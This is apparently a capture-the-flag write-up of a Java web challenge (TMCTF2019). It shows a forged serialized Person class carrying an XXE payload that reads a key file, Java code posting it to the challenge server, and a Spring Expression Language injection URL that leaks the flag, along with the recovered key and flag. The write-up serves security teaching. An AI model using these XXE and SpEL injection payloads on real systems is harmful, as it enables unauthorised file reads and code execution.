In the challenge we get address of a Java webapplication and war file. The challenge is a bit similar to the one in previous yeat, however this time the attack vector is not unsafe Java deserialization.
Once we decompile the code in IntelliJ we notice that there are 2 endpoints available.
One endpoint is /jail
and another is /office
.
Office endpoint performs some kind of authentication and then uses some of our input inside a piece of Spring Expression Language snippet.
This is very dangerous, since it often leads to RCE, but here we first need to authenticate, and this requires us to know the contents of /TMCTF2019/key
file.
In order to get it, we need the other endpoint - /jail
.
This endpoint is much simpler, it does only:
ServletInputStream is = request.getInputStream();
CustomOIS ois = new CustomOIS(is);
Person person = (Person)ois.readObject();
ois.close();
response.getWriter().append("Sorry " + person.name + ". I cannot let you have the Flag!.");
Where CustomOIS
allows only to deserialize objects of type com.trendmicro.Person
.
If we look closely how those objects are deserialized, we can see:
int paramInt = aInputStream.readInt();
byte[] arrayOfByte = new byte[paramInt];
aInputStream.read(arrayOfByte);
ByteArrayInputStream localByteArrayInputStream = new ByteArrayInputStream(arrayOfByte);
DocumentBuilderFactory localDocumentBuilderFactory = DocumentBuilderFactory.newInstance();
localDocumentBuilderFactory.setNamespaceAware(true);
DocumentBuilder localDocumentBuilder = localDocumentBuilderFactory.newDocumentBuilder();
Document localDocument = localDocumentBuilder.parse(localByteArrayInputStream);
NodeList nodeList = localDocument.getElementsByTagName("tag");
Node node = nodeList.item(0);
this.name = node.getTextContent();
It reads the size of the array, and then bytes array, which is later treated as XML document and parsed.
In this XML the deserializer takes first tag
node and collects text content of this node to use as name
of the Person.
So xml structure like:
<tag>person name</tag>
There are 2 important things to understand here:
- Java recognizes classes for deserialization based on their package+class name and some random
serialVersionID
. The latter is important to make sure we don't accidentally deserialize object with the same class name, or for exampleold version
of some object. But since we have the originalPerson
class andserialVersionID
is set there, we can make our own class with the same value, and fool the server to deserialize such object for us. - Input we provide will be parsed as XML, which means there might be a possibility to use for example XXE attack.
This is exactly what we do here, we created our own Person
class:
public class Person implements Serializable {
private static final long serialVersionUID = -559038737L;
public String name;
private void writeObject(java.io.ObjectOutputStream out) throws IOException {
String payload = "<?xml version=\"1.0\"?><!DOCTYPE tag [<!ENTITY test SYSTEM 'file:///TMCTF2019/key'>]><tag>&test;</tag>";
out.writeInt(payload.length());
out.write(payload.getBytes());
}
}
This class will get serialized the same way as Person class in the challenge expects for later deserialization. Now we can launch it:
public static void stage1() throws IOException {
Person p = new Person();
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(out);
oos.writeObject(p);
String host = "http://flagmarshal.xyz/jail";
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try {
RestTemplate restTemplate = new RestTemplate();
byte[] yourBytes = out.toByteArray();
HttpEntity<byte[]> entity = new HttpEntity<>(yourBytes);
ResponseEntity<String> response = restTemplate.postForEntity(host, entity, String.class);
System.out.println(response);
System.out.println(response.getStatusCode());
System.out.println(response.getBody());
} catch (HttpServerErrorException ex) {
System.out.println(ex.getResponseBodyAsString());
} finally {
try {
bos.close();
} catch (IOException ex) {
}
}
}
And from this we get the key: Fo0lMe0nce5hameOnUFoo1MeUCantGetF0oledAgain
Now we can proceed to the second stage. The code we're attacking is:
String nametag = request.getParameter("nametag");
String keyParam = request.getParameter("key");
String keyFileLocation = "/TMCTF2019/key";
String key = readFile(keyFileLocation, StandardCharsets.UTF_8);
if (key.contentEquals(keyParam)) {
ExpressionParser parser = new SpelExpressionParser();
String expString = "'" + nametag + "' == 'Marshal'";
Expression exp = parser.parseExpression(expString);
Boolean isMarshal = (Boolean)exp.getValue();
if (isMarshal) {
response.getWriter().append("Welcome Marsal");
} else {
response.getWriter().append("I am sorry but you cannot see the Marshal");
}
} else {
response.getWriter().append("Did you forget your keys Marshal?");
}
We need to:
- Send request with key=
Fo0lMe0nce5hameOnUFoo1MeUCantGetF0oledAgain
- Provide parameter
nametag
which will be placed into expression escaped by'
.
We can easily put '
inside nametag
to escape the string, and evaluate any code we want.
We still need to keep the type proper, so we decided to pass:
'.isEmpty() && T(com.trendmicro.jail.Flag).getFlag() && '
So in the application it will become:
''.isEmpty() && T(com.trendmicro.jail.Flag).getFlag() && '' == 'Marshal'
It's a proper boolean expression and it will dump the flag for us, because the getFlag
thrown an exception.
We need to encode &
as %26
in order to be able to pass it into the url, and if we go to: http://flagmarshal.xyz/Office?nametag='.isEmpty()%26%26T(com.trendmicro.jail.Flag).getFlag()%26%26'&&key=Fo0lMe0nce5hameOnUFoo1MeUCantGetF0oledAgain
We can see the flag in the stacktrace: java.lang.Exception: TMCTF{F0OlLM3TwIcE1Th@Tz!N1C3}